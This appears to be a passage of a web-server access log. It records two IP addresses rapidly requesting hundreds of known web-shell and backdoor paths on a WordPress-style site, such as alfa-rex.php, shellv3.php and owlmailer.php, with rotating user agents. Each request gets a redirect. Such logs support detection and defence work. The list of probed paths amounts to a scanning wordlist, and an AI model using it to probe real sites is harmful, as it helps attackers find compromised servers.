AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:43 -0400] "GET /wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:43 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:43 -0400] "GET /wp-content/uploads/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:43 -0400] "GET /wp-admin/css/colors/light/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:43 -0400] "GET /css/bun.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:43 -0400] "GET /wp-includes/fonts/configuration.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:44 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /wp-2018.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /wp-admin/includes/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /wp-includes/yut.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /wp-admin/css/colors/midnight/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /wp-admin/js/upgrade.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /js/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:44 -0400] "GET /wp-content/themes/hariko/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /siti.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /wp-admin/js/ace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /wp-includes/PHPMailer/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /wp-admin/css/colors/modern/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /abe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:44 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /wp-admin/user/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /wp-admin/images/headerg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /wp-admin/maint/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /insoamv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:22:44 -0400] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /css/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /wp-content/uploads/old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /wp-admin/js/widgets/my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /wp-admin/images/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:44 -0400] "GET /Njima.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /shop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /wp-admin/images/text.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /uploads/owlmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /wp-admin/js/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:22:44 -0400] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /wp-includes/IXR/class-IXR-http.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /exit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /wp-admin/js/pagin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /uploads/update_with_pics.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:22:44 -0400] "GET /wp-admin/js/widgets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:45 -0400] "GET /wp-content/themes/pridmag/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /uploads/phUploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /wp-content/upgrade/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /wp-includes/ID3/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /wp-admin/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:45 -0400] "GET /FroggBaba.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /wp-admin/js/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /worm3.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /wp-admin/css/service.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /wp-admin/css/colors/coffee/iudate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /wp-includes/Text/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:22:45 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /wp-admin/includes/ArjnrN.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:45 -0400] "GET /wp-admin/maint/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /wp-admin/js/widgets/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /wp-admin/css/colors/blue/uploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /wp-includes/Text/Diff/Engine/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:45 -0400] "GET /wp-content/plugins/tunnelforms/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /wp-content/plugins/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /.well-known/acme-challenge/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /wp-admin/images/313.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /images/upload-image.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /delete3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /wp-includes/pomo/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:45 -0400] "GET /wp-content/plugins/tunnelforms/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /.tmb/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /wp-includes/dedbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /wp-includes/Text/bu2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:45 -0400] "GET /wp-content/plugins/wp-doftx/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /wp-includes/widgets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:46 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /.well-known/alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /wp-includes/bestmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /wp-admin/includes/tsconfig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /wp-includes/css/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.85 - - [23/Apr/2025:03:22:46 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /wp-admin/css/colors/coffee/lofter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /wp-content/upgrade/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /wp-includes/images/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:46 -0400] "GET /wp-admin/images/Mhbgf.php/xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /wp-includes/Requests/Auth/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /wp-admin/css/colors/ew1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /wp-admin/includes/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /wp-includes/images/crystal/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /uploads/Alex-Cross.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.85 - - 